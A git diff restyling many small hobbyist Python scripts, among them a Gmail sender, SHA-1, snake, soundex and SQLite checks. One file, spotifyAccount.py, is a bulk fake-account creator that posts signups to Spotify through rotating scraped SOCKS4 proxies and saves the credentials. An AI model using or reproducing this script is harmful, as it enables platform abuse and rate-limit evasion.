os.path.join(home_dir, ".credentials") if not os.path.exists(credential_dir): os.makedirs(credential_dir) - credential_path = os.path.join(credential_dir, - 'gmail-python-email-send.json') + credential_path = os.path.join(credential_dir, "gmail-python-email-send.json") store = oauth2client.file.Storage(credential_path) credentials = store.get() if not credentials or credentials.invalid: @@ -33,7 +32,7 @@ def get_credentials(): flow.user_agent = APPLICATION_NAME credentials = tools.run_flow(flow, store) - print('Storing credentials to ' + credential_path) + print("Storing credentials to " + credential_path) return credentials @@ -41,9 +40,11 @@ def get_credentials(): def SendMessage(sender, to, subject, msgHtml, msgPlain, attachmentFile=None): credentials = get_credentials() http = credentials.authorize(httplib2.Http()) - service = discovery.build('gmail', 'v1', http=http) + service = discovery.build("gmail", "v1", http=http) if attachmentFile: - message1 = createMessageWithAttachment(sender, to, subject, msgHtml, msgPlain, attachmentFile) + message1 = createMessageWithAttachment( + sender, to, subject, msgHtml, msgPlain, attachmentFile + ) else: message1 = CreateMessageHtml(sender, to, subject, msgHtml, msgPlain) result = SendMessageInternal(service, "me", message1) @@ -52,19 +53,20 @@ def SendMessage(sender, to, subject, msgHtml, msgPlain, attachmentFile=None): def SendMessageInternal(service, user_id, message): try: - message = (service.users().messages().send(userId=user_id, body=message).execute()) + message = ( + service.users().messages().send(userId=user_id, body=message).execute() + ) - print('Message Id: %s' % message['id']) + print("Message Id: %s" % message["id"]) return message except errors.HttpError as error: - print('An error occurred: %s' % error) + print("An error occurred: %s" % error) return "Error" return "OK" -def createMessageWithAttachment( - sender, to, subject, msgHtml, msgPlain, attachmentFile): +def createMessageWithAttachment(sender, to, subject, msgHtml, msgPlain, attachmentFile): """Create a message for an email. Args: @@ -78,16 +80,16 @@ def createMessageWithAttachment( Returns: An object containing a base64url encoded email object. """ - message = MIMEMultipart('mixed') - message['to'] = to - message['from'] = sender - message['subject'] = subject + message = MIMEMultipart("mixed") + message["to"] = to + message["from"] = sender + message["subject"] = subject - messageA = MIMEMultipart('alternative') - messageR = MIMEMultipart('related') + messageA = MIMEMultipart("alternative") + messageR = MIMEMultipart("related") - messageR.attach(MIMEText(msgHtml, 'html')) - messageA.attach(MIMEText(msgPlain, 'plain')) + messageR.attach(MIMEText(msgHtml, "html")) + messageA.attach(MIMEText(msgPlain, "plain")) messageA.attach(messageR) message.attach(messageA) @@ -96,40 +98,40 @@ def createMessageWithAttachment( content_type, encoding = mimetypes.guess_type(attachmentFile) if content_type is None or encoding is not None: - content_type = 'application/octet-stream' - main_type, sub_type = content_type.split('/', 1) - if main_type == 'text': - fp = open(attachmentFile, 'rb') + content_type = "application/octet-stream" + main_type, sub_type = content_type.split("/", 1) + if main_type == "text": + fp = open(attachmentFile, "rb") msg = MIMEText(fp.read(), _subtype=sub_type) fp.close() - elif main_type == 'image': - fp = open(attachmentFile, 'rb') + elif main_type == "image": + fp = open(attachmentFile, "rb") msg = MIMEImage(fp.read(), _subtype=sub_type) fp.close() - elif main_type == 'audio': - fp = open(attachmentFile, 'rb') + elif main_type == "audio": + fp = open(attachmentFile, "rb") msg = MIMEAudio(fp.read(), _subtype=sub_type) fp.close() else: - fp = open(attachmentFile, 'rb') + fp = open(attachmentFile, "rb") msg = MIMEBase(main_type, sub_type) msg.set_payload(fp.read()) fp.close() filename = os.path.basename(attachmentFile) - msg.add_header('Content-Disposition', 'attachment', filename=filename) + msg.add_header("Content-Disposition", "attachment", filename=filename) message.attach(msg) - return {'raw': base64.urlsafe_b64encode(message.as_string())} + return {"raw": base64.urlsafe_b64encode(message.as_string())} def CreateMessageHtml(sender, to, subject, msgHtml, msgPlain): - msg = MIMEMultipart('alternative') - msg['Subject'] = subject - msg['From'] = sender - msg['To'] = to - msg.attach(MIMEText(msgPlain, 'plain')) - msg.attach(MIMEText(msgHtml, 'html')) - return {'raw': base64.urlsafe_b64encode(msg.as_string())} + msg = MIMEMultipart("alternative") + msg["Subject"] = subject + msg["From"] = sender + msg["To"] = to + msg.attach(MIMEText(msgPlain, "plain")) + msg.attach(MIMEText(msgHtml, "html")) + return {"raw": base64.urlsafe_b64encode(msg.as_string())} def main(): @@ -139,9 +141,9 @@ def main(): msgHtml = input("Enter your Message: ") msgPlain = "Hi\nPlain Email" SendMessage(sender, to, subject, msgHtml, msgPlain) - # Send message with attachment: + # Send message with attachment: # SendMessage(sender, to, subject, msgHtml, msgPlain, '/path/to/file.pdf') -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/sensors_information.py b/sensors_information.py index c80c9064374..694dc302904 100644 --- a/sensors_information.py +++ b/sensors_information.py @@ -3,9 +3,11 @@ import socket import psutil + def python_version(): return sys.version_info + def ip_addresses(): hostname = socket.gethostname() addresses = socket.getaddrinfo(hostname, None) @@ -15,29 +17,36 @@ def ip_addresses(): address_info.append((address[0].name, address[4][0])) return address_info + def cpu_load(): return psutil.cpu_percent(interval=0.1) + def ram_available(): return psutil.virtual_memory().available + def ac_connected(): return psutil.sensors_battery().power_plugged + def show_sensors(): print("Python Version:{0.major}.{0.minor}".format(python_version())) for address in ip_addresses(): print("IP Addresses: {0[1]} ({0[0]})".format(address)) print("CPU Load: {:.1f}".format(cpu_load())) - print("RAM Available: {} MiB".format(ram_available() / 1024**2)) + print("RAM Available: {} MiB".format(ram_available() / 1024 ** 2)) print("AC Connected: {}".format(ac_connected())) + def command_line(argv): parser = argparse.ArgumentParser( - description='Display the values of the sensors',add_help=True, + description="Display the values of the sensors", + add_help=True, ) arguments = parser.parse_args() show_sensors() -if __name__ == '__main__': + +if __name__ == "__main__": command_line(sys.argv) diff --git a/serial_scanner.py b/serial_scanner.py index 28ccece7e7d..adf5ba1ee39 100644 --- a/serial_scanner.py +++ b/serial_scanner.py @@ -20,7 +20,7 @@ def ListAvailablePorts(): # if there isn't available ports, returns an empty List AvailablePorts = [] platform = sys.platform - if platform == 'win32': + if platform == "win32": for i in range(255): try: ser = serial.Serial(i, 9600) @@ -30,24 +30,27 @@ def ListAvailablePorts(): AvailablePorts.append(ser.portstr) ser.close() - elif platform == 'linux': + elif platform == "linux": for i in range(0, 255): try: - ser = serial.Serial('/dev/ttyUSB' + str(i)) + ser = serial.Serial("/dev/ttyUSB" + str(i)) except serial.serialutil.SerialException: pass else: - AvailablePorts.append('/dev/ttyUSB' + str(i)) + AvailablePorts.append("/dev/ttyUSB" + str(i)) ser.close() else: - print('''This method was developed only for linux and windows - the current platform isn't recognised''') + print( + """This method was developed only for linux and windows + the current platform isn't recognised""" + ) if len(AvailablePorts) == 0: print("NO port in use") return 0 else: return AvailablePorts + # EXAMPLE OF HOW IT WORKS # if an Arduino is connected to the computer, the port will be show in the terminal diff --git a/sha1.py b/sha1.py index 778d63e2556..16a61e0ed75 100644 --- a/sha1.py +++ b/sha1.py @@ -24,21 +24,23 @@ def rotate(n, b): """ Static method to be used inside other methods. Left rotates n by b. """ - return ((n << b) | (n >> (32 - b))) & 0xffffffff + return ((n << b) | (n >> (32 - b))) & 0xFFFFFFFF def padding(self): """ Pads the input message with zeros so that padded_data has 64 bytes or 512 bits """ - padding = b'\x80' + b'\x00' * (63 - (len(self.data) + 8) % 64) - padded_data = self.data + padding + struct.pack('>Q', 8 * len(self.data)) + padding = b"\x80" + b"\x00" * (63 - (len(self.data) + 8) % 64) + padded_data = self.data + padding + struct.pack(">Q", 8 * len(self.data)) return padded_data def split_blocks(self): """ Returns a list of bytestrings each of length 64 """ - return [self.padded_data[i:i + 64] for i in range(0, len(self.padded_data), 64)] + return [ + self.padded_data[i : i + 64] for i in range(0, len(self.padded_data), 64) + ] # @staticmethod def expand_block(self, block): @@ -46,7 +48,7 @@ def expand_block(self, block): Takes a bytestring-block of length 64, unpacks it to a list of integers and returns a list of 80 integers pafter some bit operations """ - w = list(struct.unpack('>16L', block)) + [0] * 64 + w = list(struct.unpack(">16L", block)) + [0] * 64 for i in range(16, 80): w[i] = self.rotate((w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]), 1) return w @@ -78,14 +80,21 @@ def final_hash(self): elif 60 <= i < 80: f = b ^ c ^ d k = 0xCA62C1D6 - a, b, c, d, e = self.rotate(a, 5) + f + e + k + expanded_block[i] & 0xffffffff, \ - a, self.rotate(b, 30), c, d - self.h = self.h[0] + a & 0xffffffff, \ - self.h[1] + b & 0xffffffff, \ - self.h[2] + c & 0xffffffff, \ - self.h[3] + d & 0xffffffff, \ - self.h[4] + e & 0xffffffff - return '%08x%08x%08x%08x%08x' % tuple(self.h) + a, b, c, d, e = ( + self.rotate(a, 5) + f + e + k + expanded_block[i] & 0xFFFFFFFF, + a, + self.rotate(b, 30), + c, + d, + ) + self.h = ( + self.h[0] + a & 0xFFFFFFFF, + self.h[1] + b & 0xFFFFFFFF, + self.h[2] + c & 0xFFFFFFFF, + self.h[3] + d & 0xFFFFFFFF, + self.h[4] + e & 0xFFFFFFFF, + ) + return "%08x%08x%08x%08x%08x" % tuple(self.h) class SHA1HashTest(unittest.TestCase): @@ -94,7 +103,7 @@ class SHA1HashTest(unittest.TestCase): """ def testMatchHashes(self): - msg = bytes('Test String', 'utf-8') + msg = bytes("Test String", "utf-8") self.assertEqual(SHA1Hash(msg).final_hash(), hashlib.sha1(msg).hexdigest()) @@ -105,20 +114,23 @@ def main(): the test each time. """ # unittest.main() - parser = argparse.ArgumentParser(description='Process some strings or files') - parser.add_argument('--string', dest='input_string', - default='Hello World!! Welcome to Cryptography', - help='Hash the string') - parser.add_argument('--file', dest='input_file', help='Hash contents of a file') + parser = argparse.ArgumentParser(description="Process some strings or files") + parser.add_argument( + "--string", + dest="input_string", + default="Hello World!! Welcome to Cryptography", + help="Hash the string", + ) + parser.add_argument("--file", dest="input_file", help="Hash contents of a file") args = parser.parse_args() input_string = args.input_string # In any case hash input should be a bytestring if args.input_file: - hash_input = open(args.input_file, 'rb').read() + hash_input = open(args.input_file, "rb").read() else: - hash_input = bytes(input_string, 'utf-8') + hash_input = bytes(input_string, "utf-8") print(SHA1Hash(hash_input).final_hash()) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/sierpinski_triangle.py b/sierpinski_triangle.py index ea868e0d507..966b5648af3 100644 --- a/sierpinski_triangle.py +++ b/sierpinski_triangle.py @@ -1,4 +1,4 @@ -'''Author Anurag Kumar | anuragkumarak95@gmail.com | git/anuragkumarak95 +"""Author Anurag Kumar | anuragkumarak95@gmail.com | git/anuragkumarak95 Simple example of Fractal generation using recursive function. @@ -20,18 +20,20 @@ Credits: This code was written by editing the code from http://www.lpb-riannetrujillo.com/blog/python-fractal/ -''' +""" import sys import turtle -PROGNAME = 'Sierpinski Triangle' +PROGNAME = "Sierpinski Triangle" if len(sys.argv) != 2: - raise Exception('right format for using this script: $python fractals.py ') + raise Exception( + "right format for using this script: $python fractals.py " + ) myPen = turtle.Turtle() myPen.ht() myPen.speed(5) -myPen.pencolor('red') +myPen.pencolor("red") points = [[-175, -125], [0, 175], [175, -125]] # size of triangle @@ -49,18 +51,18 @@ def triangle(points, depth): myPen.goto(points[0][0], points[0][1]) if depth > 0: - triangle([points[0], - getMid(points[0], points[1]), - getMid(points[0], points[2])], - depth - 1) - triangle([points[1], - getMid(points[0], points[1]), - getMid(points[1], points[2])], - depth - 1) - triangle([points[2], - getMid(points[2], points[1]), - getMid(points[0], points[2])], - depth - 1) + triangle( + [points[0], getMid(points[0], points[1]), getMid(points[0], points[2])], + depth - 1, + ) + triangle( + [points[1], getMid(points[0], points[1]), getMid(points[1], points[2])], + depth - 1, + ) + triangle( + [points[2], getMid(points[2], points[1]), getMid(points[0], points[2])], + depth - 1, + ) triangle(points, int(sys.argv[1])) diff --git a/simpleInterest.py b/simpleInterest.py index f31a1ad250f..37a081ee698 100644 --- a/simpleInterest.py +++ b/simpleInterest.py @@ -1,5 +1,5 @@ -principle=float(input("Enter the principle amount:")) -time=int(input("Enter the time(years):")) -rate=float(input("Enter the rate:")) -simple_interest=(principle*time*rate)/100 -print("The simple interest is:",simple_interest) +principle = float(input("Enter the principle amount:")) +time = int(input("Enter the time(years):")) +rate = float(input("Enter the rate:")) +simple_interest = (principle * time * rate) / 100 +print("The simple interest is:", simple_interest) diff --git a/size(resolution)image.py b/size(resolution)image.py index 9c6336d8d1d..333a1effb2a 100644 --- a/size(resolution)image.py +++ b/size(resolution)image.py @@ -1,24 +1,25 @@ def jpeg_res(filename): - """"This function prints the resolution of the jpeg image file passed into it""" + """ "This function prints the resolution of the jpeg image file passed into it""" - # open image for reading in binary mode - with open(filename,'rb') as img_file: + # open image for reading in binary mode + with open(filename, "rb") as img_file: - # height of image (in 2 bytes) is at 164th position - img_file.seek(163) + # height of image (in 2 bytes) is at 164th position + img_file.seek(163) - # read the 2 bytes - a = img_file.read(2) + # read the 2 bytes + a = img_file.read(2) - # calculate height - height = (a[0] << 8) + a[1] + # calculate height + height = (a[0] << 8) + a[1] - # next 2 bytes is width - a = img_file.read(2) + # next 2 bytes is width + a = img_file.read(2) - # calculate width - width = (a[0] << 8) + a[1] + # calculate width + width = (a[0] << 8) + a[1] + + print("The resolution of the image is", width, "x", height) - print("The resolution of the image is",width,"x",height) jpeg_res("img1.jpg") diff --git a/slack_message.py b/slack_message.py index 4ce383f1e1e..c06416cbe82 100644 --- a/slack_message.py +++ b/slack_message.py @@ -1,17 +1,24 @@ from __future__ import print_function + # Created by sarathkaul on 11/11/19 import json import urllib.request # Set the webhook_url to the one provided by Slack when you create the webhook at https://my.slack.com/services/new/incoming-webhook/ -webhook_url = 'https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX' -slack_data = {'text': "Hi Sarath Kaul"} +webhook_url = ( + "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX" +) +slack_data = {"text": "Hi Sarath Kaul"} -response = urllib.request.Request(webhook_url, data=json.dumps(slack_data),headers={'Content-Type': 'application/json'}) +response = urllib.request.Request( + webhook_url, + data=json.dumps(slack_data), + headers={"Content-Type": "application/json"}, +) print(response) # if response.status_code != 200: # raise ValueError( # 'Request to slack returned an error %s, the response is:\n%s' # % (response.status_code, response.text) -# ) \ No newline at end of file +# ) diff --git a/snake.py b/snake.py index d40826e3a29..3c66cc599d4 100644 --- a/snake.py +++ b/snake.py @@ -10,7 +10,9 @@ from curses import KEY_RIGHT, KEY_LEFT, KEY_UP, KEY_DOWN from random import randint - print('Use the arrow keys to move, press the space bar to pause, and press ESC to quit') + print( + "Use the arrow keys to move, press the space bar to pause, and press ESC to quit" + ) sleep(1) key = KEY_RIGHT # Initializing values curses.initscr() @@ -20,83 +22,103 @@ curses.curs_set(0) win.border(0) win.nodelay(1) - x,y=win.getmaxyx() + x, y = win.getmaxyx() key = KEY_DOWN # Initializing values score = 0 - s = open('.snake_highscore.txt', 'r') + s = open(".snake_highscore.txt", "r") hscore = s.read() s.close() snake = [[4, 10], [4, 9], [4, 8]] # Initial snake co-ordinates food = [10, 20] # First food co-ordinates - win.addch(food[0], food[1], '*') # Prints or shows the food + win.addch(food[0], food[1], "*") # Prints or shows the food while key != 27: # While Esc key is not pressed win.border(0) - win.addstr(0, 2, 'Score : ' + str(score) + ' ') # Printing 'Score' and - win.addstr(0, 27, ' SNAKE ') # 'SNAKE' strings - win.addstr(0, 37, 'Highscore: ' + str(hscore) + ' ') + win.addstr(0, 2, "Score : " + str(score) + " ") # Printing 'Score' and + win.addstr(0, 27, " SNAKE ") # 'SNAKE' strings + win.addstr(0, 37, "Highscore: " + str(hscore) + " ") win.timeout( - int(150 - (len(snake) / 5 + len(snake) / 10) % 120)) # Increases the speed of Snake as its length increases + int(150 - (len(snake) / 5 + len(snake) / 10) % 120) + ) # Increases the speed of Snake as its length increases prevKey = key # Previous key pressed event = win.getch() key = key if event == -1 else event - if key == ord(' '): # If SPACE BAR is pressed, wait for another + if key == ord(" "): # If SPACE BAR is pressed, wait for another key = -1 # one (Pause/Resume) - win.addstr(0, 40, 'PAUSED') - while key != ord(' '): + win.addstr(0, 40, "PAUSED") + while key != ord(" "): key = win.getch() key = prevKey continue - if key not in [KEY_LEFT, KEY_RIGHT, KEY_UP, KEY_DOWN, 27]: # If an invalid key is pressed + if key not in [ + KEY_LEFT, + KEY_RIGHT, + KEY_UP, + KEY_DOWN, + 27, + ]: # If an invalid key is pressed key = prevKey # Calculates the new coordinates of the head of the snake. NOTE: len(snake) increases. # This is taken care of later at [1]. - snake.insert(0, [snake[0][0] + (key == KEY_DOWN and 1) + (key == KEY_UP and -1), - snake[0][1] + (key == KEY_LEFT and -1) + (key == KEY_RIGHT and 1)]) + snake.insert( + 0, + [ + snake[0][0] + (key == KEY_DOWN and 1) + (key == KEY_UP and -1), + snake[0][1] + (key == KEY_LEFT and -1) + (key == KEY_RIGHT and 1), + ], + ) # If snake crosses the boundaries, make it enter from the other side - if snake[0][0] == 0: snake[0][0] = 18 - if snake[0][1] == 0: snake[0][1] = 58 - if snake[0][0] == 19: snake[0][0] = 1 - if snake[0][1] == 59: snake[0][1] = 1 + if snake[0][0] == 0: + snake[0][0] = 18 + if snake[0][1] == 0: + snake[0][1] = 58 + if snake[0][0] == 19: + snake[0][0] = 1 + if snake[0][1] == 59: + snake[0][1] = 1 # Exit if snake crosses the boundaries (Uncomment to enable) # if snake[0][0] == 0 or snake[0][0] == 19 or snake[0][1] == 0 or snake[0][1] == 59: break # If snake runs over itself if snake[0] in snake[1:]: - break; + break if snake[0] == food: # When snake eats the food food = [] score += 1 while food == []: - food = [randint(1, 18), randint(1, 58)] # Calculating next food's coordinates - if food in snake: food = [] - win.addch(food[0], food[1], '*') + food = [ + randint(1, 18), + randint(1, 58), + ] # Calculating next food's coordinates + if food in snake: + food = [] + win.addch(food[0], food[1], "*") else: last = snake.pop() # [1] If it does not eat the food, length decreases - win.addch(last[0], last[1], ' ') - win.addch(snake[0][0], snake[0][1], '#') + win.addch(last[0], last[1], " ") + win.addch(snake[0][0], snake[0][1], "#") + - except KeyboardInterrupt or EOFError: curses.endwin() - print( "Score - " + str(score)) + print("Score - " + str(score)) if score > int(hscore): - s = open('.snake_highscore.txt', 'w') + s = open(".snake_highscore.txt", "w") s.write(str(score)) s.close() curses.endwin() if score > int(hscore): - s = open('.snake_highscore.txt', 'w') + s = open(".snake_highscore.txt", "w") s.write(str(score)) s.close() print("Score - " + str(score)) diff --git a/socket-programming/client.py b/socket-programming/client.py index ec5873d6f04..851b74337fc 100644 --- a/socket-programming/client.py +++ b/socket-programming/client.py @@ -1,4 +1,4 @@ -#Note :- Client and Server Must be connected to same Network +# Note :- Client and Server Must be connected to same Network # import socket modules import socket @@ -6,7 +6,7 @@ s = socket.socket() # take user input ip of server server = input("Enter Server IP: ") -# bind the socket to the port 12345, and connect +# bind the socket to the port 12345, and connect s.connect((server, 12345)) # receive message from server connection successfully established data = s.recv(1024).decode("utf-8") diff --git a/socket-programming/server.py b/socket-programming/server.py index 5cb942bf9ca..4986710ce9c 100644 --- a/socket-programming/server.py +++ b/socket-programming/server.py @@ -6,7 +6,7 @@ s = socket.socket() # get the according IP address ip = socket.gethostbyname(socket.gethostname()) -# binding ip address and port +# binding ip address and port s.bind((ip, 12345)) # listen for incoming connections (server mode) with 3 connection at a time s.listen(3) @@ -14,15 +14,15 @@ print("Server ip address:", ip) while True: # waiting for a connection establishment - print('waiting for a connection') + print("waiting for a connection") connection, client_address = s.accept() try: - # show connected client - print('connected from', client_address) + # show connected client + print("connected from", client_address) # sending acknowledgement to client that you are connected connection.send(str("Now You are connected").encode("utf-8")) - # receiving the message + # receiving the message while True: data = connection.recv(1024).decode("utf-8") if data: diff --git a/solution to euler project problem 10.py b/solution to euler project problem 10.py index cdee35acd3f..9291c42f7ff 100644 --- a/solution to euler project problem 10.py +++ b/solution to euler project problem 10.py @@ -1,18 +1,18 @@ ##author-slayking1965 -#""" -#https://projecteuler.net/problem=10 -#Problem Statement: -#The sum of the primes below 10 is 2 + 3 + 5 + 7 = 17. -#Find the sum of all the primes below two million using Sieve_of_Eratosthenes: -#The sieve of Eratosthenes is one of the most efficient ways to find all primes -#smaller than n when n is smaller than 10 million. Only for positive numbers. -#Find the sum of all the primes below two million. -#""" +# """ +# https://projecteuler.net/problem=10 +# Problem Statement: +# The sum of the primes below 10 is 2 + 3 + 5 + 7 = 17. +# Find the sum of all the primes below two million using Sieve_of_Eratosthenes: +# The sieve of Eratosthenes is one of the most efficient ways to find all primes +# smaller than n when n is smaller than 10 million. Only for positive numbers. +# Find the sum of all the primes below two million. +# """ -#def prime_sum(n: int) -> int: +# def prime_sum(n: int) -> int: # """Returns the sum of all the primes below n. -#def solution(n: int = 2000000) -> int: +# def solution(n: int = 2000000) -> int: # """Returns the sum of all the primes below n using Sieve of Eratosthenes: # https://en.wikipedia.org/wiki/Sieve_of_Eratosthenes # The sieve of Eratosthenes is one of the most efficient ways to find all primes @@ -72,7 +72,7 @@ # return sum_of_primes -#if __name__ == "__main__": +# if __name__ == "__main__": # # import doctest # # doctest.testmod() # print(prime_sum(int(input().strip()))) diff --git a/soundex_algorithm.py b/soundex_algorithm.py index df07595a942..2be25a7477b 100644 --- a/soundex_algorithm.py +++ b/soundex_algorithm.py @@ -1,43 +1,39 @@ - def soundex_al(word): - cap_word = word.upper() #convert the word to uppercase + cap_word = word.upper() # convert the word to uppercase return_val = "" - return_val = "" + cap_word[0] #get the first letter of the word + return_val = "" + cap_word[0] # get the first letter of the word + # dictonary to give values to the letters + code_dict = {"BFPV": "1", "CGJKQSXZ": "2", "DT": "3", "L": "4", "MN": "5", "R": "6"} - #dictonary to give values to the letters - code_dict = {"BFPV": "1", "CGJKQSXZ":"2", "DT":"3", "L":"4", "MN":"5", "R":"6"} + # array of charactors to remove from the word + rem_charactors = ["A", "E", "I", "O", "U", "H", "W", "Y"] - #array of charactors to remove from the word - rem_charactors = ["A","E","I","O","U","H","W","Y"] - - - #for loop to remove all the 0 valued charactors + # for loop to remove all the 0 valued charactors temp = "" for char in cap_word[1:]: if char not in rem_charactors: temp = temp + char - - #get the values from the 'code_dict' and create the soundex code + + # get the values from the 'code_dict' and create the soundex code for char in temp: for key in code_dict.keys(): if char in key: code = code_dict[key] - if code != return_val[-1]: #Remove all pairs of consecutive digits. + if code != return_val[-1]: # Remove all pairs of consecutive digits. return_val += code - - return_val = return_val[:4] #crop the word to 4 charactors - - #if soundex code doen't contain 4 digits. fill it with zeros + + return_val = return_val[:4] # crop the word to 4 charactors + + # if soundex code doen't contain 4 digits. fill it with zeros if len(return_val) < 4: for x in range(len(return_val), 4): return_val = return_val + "0" - - #return the value - return return_val + # return the value + return return_val -#testing the fucntion -print(soundex_al("Danus")) \ No newline at end of file +# testing the fucntion +print(soundex_al("Danus")) diff --git a/spotifyAccount.py b/spotifyAccount.py index bfea2423c44..a585b6abb96 100644 --- a/spotifyAccount.py +++ b/spotifyAccount.py @@ -12,12 +12,13 @@ else: title = "linux" + def randomName(size=10, chars=string.ascii_letters + string.digits): - return ''.join(random.choice(chars) for i in range(size)) + return "".join(random.choice(chars) for i in range(size)) -def randomPassword(size=14, chars=string.ascii_letters + string.digits): - return ''.join(random.choice(chars) for i in range(size)) +def randomPassword(size=14, chars=string.ascii_letters + string.digits): + return "".join(random.choice(chars) for i in range(size)) global maxi @@ -26,74 +27,91 @@ def randomPassword(size=14, chars=string.ascii_letters + string.digits): created = 0 errors = 0 -class proxy(): + +class proxy: def update(self): while True: - - data = '' - urls = ["https://api.proxyscrape.com/?request=getproxies&proxytype=socks4&timeout=10000&ssl=yes"] + data = "" + urls = [ + "https://api.proxyscrape.com/?request=getproxies&proxytype=socks4&timeout=10000&ssl=yes" + ] for url in urls: data += requests.get(url).text - self.splited += data.split("\r\n") #scraping and splitting proxies + self.splited += data.split("\r\n") # scraping and splitting proxies time.sleep(600) - + def get_proxy(self): - random1 = random.choice(self.splited) #choose a random proxie + random1 = random.choice(self.splited) # choose a random proxie return random1 + def FormatProxy(self): - proxyOutput = {'https' :'socks4://'+self.get_proxy()} - return proxyOutput + proxyOutput = {"https": "socks4://" + self.get_proxy()} + return proxyOutput def __init__(self): self.splited = [] threading.Thread(target=self.update).start() time.sleep(3) + proxy1 = proxy() + def creator(): global maxi global created global errors while maxi > created: if title == "windows": - system("title "+ f"Spotify Account Creator by KevinLage https://github.com/KevinLage/Spotify-Account-Creator Created: {created}/{maxi} Errors:{errors}") - + system( + "title " + + f"Spotify Account Creator by KevinLage https://github.com/KevinLage/Spotify-Account-Creator Created: {created}/{maxi} Errors:{errors}" + ) + s = requests.session() email = randomName() password = randomPassword() - data={ - "displayname":"Josh", - "creation_point":"https://login.app.spotify.com?utm_source=spotify&utm_medium=desktop-win32&utm_campaign=organic", - "birth_month":"12", - "email":email + "@gmail.com", - "password":password, - "creation_flow":"desktop", - "platform":"desktop", - "birth_year":"1991", - "iagree":"1", - "key":"4c7a36d5260abca4af282779720cf631", - "birth_day":"17", - "gender":"male", - "password_repeat":password, - "referrer":"" + data = { + "displayname": "Josh", + "creation_point": "https://login.app.spotify.com?utm_source=spotify&utm_medium=desktop-win32&utm_campaign=organic", + "birth_month": "12", + "email": email + "@gmail.com", + "password": password, + "creation_flow": "desktop", + "platform": "desktop", + "birth_year": "1991", + "iagree": "1", + "key": "4c7a36d5260abca4af282779720cf631", + "birth_day": "17", + "gender": "male", + "password_repeat": password, + "referrer": "", } try: - r = s.post("https://spclient.wg.spotify.com/signup/public/v1/account/",data=data,proxies=proxy1.FormatProxy()) + r = s.post( + "https://spclient.wg.spotify.com/signup/public/v1/account/", + data=data, + proxies=proxy1.FormatProxy(), + ) if '{"status":1,"' in r.text: open("created.txt", "a+").write(email + "@gmail.com:" + password + "\n") created += 1 if title == "windows": - system("title "+ f"Spotify Account Creator : {created}/{maxi} Errors:{errors}") + system( + "title " + + f"Spotify Account Creator : {created}/{maxi} Errors:{errors}" + ) else: errors += 1 except: pass + + maxi = int(input("How many accounts do you want to create?\n")) maxthreads = int(input("How many Threads?\n")) diff --git a/sqlite_check.py b/sqlite_check.py index 18dc272f009..74403b1a0bb 100644 --- a/sqlite_check.py +++ b/sqlite_check.py @@ -13,14 +13,14 @@ # Description : Runs checks to check my SQLITE database dropbox = os.getenv("dropbox") -dbfile = ("Databases\jarvis.db") +dbfile = "Databases\jarvis.db" master_db = os.path.join(dropbox, dbfile) con = None try: con = lite.connect(master_db) cur = con.cursor() - cur.execute('SELECT SQLITE_VERSION()') + cur.execute("SELECT SQLITE_VERSION()") data = cur.fetchone() print("SQLite version: %s" % data) diff --git a/sqlite_table_check.py b/sqlite_table_check.py index 90631b6a1af..588b80e1c6e 100644 --- a/sqlite_table_check.py +++ b/sqlite_table_check.py @@ -14,15 +14,15 @@ dropbox = os.getenv("dropbox") config = os.getenv("my_config") -dbfile = ("Databases\jarvis.db") -listfile = ("sqlite_master_table.lst") +dbfile = "Databases\jarvis.db" +listfile = "sqlite_master_table.lst" master_db = os.path.join(dropbox, dbfile) config_file = os.path.join(config, listfile) -tablelist = open(config_file, 'r'); +tablelist = open(config_file, "r") conn = sqlite3.connect(master_db) cursor = conn.cursor() -cursor.execute('SELECT SQLITE_VERSION()') +cursor.execute("SELECT SQLITE_VERSION()") data = cursor.fetchone() if str(data) == "(u'3.6.21',)": @@ -36,10 +36,12 @@ for table in tablelist.readlines(): conn = sqlite3.connect(master_db) cursor = conn.cursor() - cursor.execute("select count(*) from sqlite_master where name = ?", (table.strip(),)) + cursor.execute( + "select count(*) from sqlite_master where name = ?", (table.strip(),) + ) res = cursor.fetchone() - if (res[0]): - print('[+] Table : ' + table.strip() + ' exists [+]') + if res[0]: + print("[+] Table : " + table.strip() + " exists [+]") else: - print('[-] Table : ' + table.strip() + ' does not exist [-]') + print("[-] Table : " + table.strip() + " does not exist [-]") diff --git a/stack.py b/stack.py index ec1bb57b5a6..d90048ccf62 100644 --- a/stack.py +++ b/stack.py @@ -1,56 +1,63 @@ -# Python program to reverse a string using stack - -# Function to create an empty stack. -# It initializes size of stack as 0 -def createStack(): - stack=[] - return stack - -# Function to determine the size of the stack -def size(stack): - return len(stack) - -# Stack is empty if the size is 0 -def isEmpty(stack): - if size(stack) == 0: - return True - -# Function to add an item to stack . -# It increases size by 1 -def push(stack,item): - stack.append(item) - -#Function to remove an item from stack. -# It decreases size by 1 -def pop(stack): - if isEmpty(stack): return - return stack.pop() - -# A stack based function to reverse a string -def reverse(string): - n = len(string) - - # Create a empty stack - stack = createStack() - - # Push all characters of string to stack - for i in range(0,n,1): - push(stack,string[i]) - - # Making the string empty since all - #characters are saved in stack - string="" - - # Pop all characters of string and - # put them back to string - for i in range(0,n,1): - string+=pop(stack) - - return string - -# Driver program to test above functions -string="GeeksQuiz" -string = reverse(string) -print("Reversed string is " + string) +# Python program to reverse a string using stack + +# Function to create an empty stack. +# It initializes size of stack as 0 +def createStack(): + stack = [] + return stack + + +# Function to determine the size of the stack +def size(stack): + return len(stack) + + +# Stack is empty if the size is 0 +def isEmpty(stack): + if size(stack) == 0: + return True + + +# Function to add an item to stack . +# It increases size by 1 +def push(stack, item): + stack.append(item) + + +# Function to remove an item from stack. +# It decreases size by 1 +def pop(stack): + if isEmpty(stack): + return + return stack.pop() + + +# A stack based function to reverse a string +def reverse(string): + n = len(string) + + # Create a empty stack + stack = createStack() + + # Push all characters of string to stack + for i in range(0, n, 1): + push(stack, string[i]) + + # Making the string empty since all + # characters are saved in stack + string = "" + + # Pop all characters of string and + # put them back to string + for i in range(0, n, 1): + string += pop(stack) + + return string + + +# Driver program to test above functions +string = "GeeksQuiz" +string = reverse(string) +print("Reversed string is " + string) # This code is contributed by Yash diff --git a/stackF_Harsh2255.py b/stackF_Harsh2255.py index c621377963b..b28bf9de77a 100644 --- a/stackF_Harsh2255.py +++ b/stackF_Harsh2255.py @@ -1,39 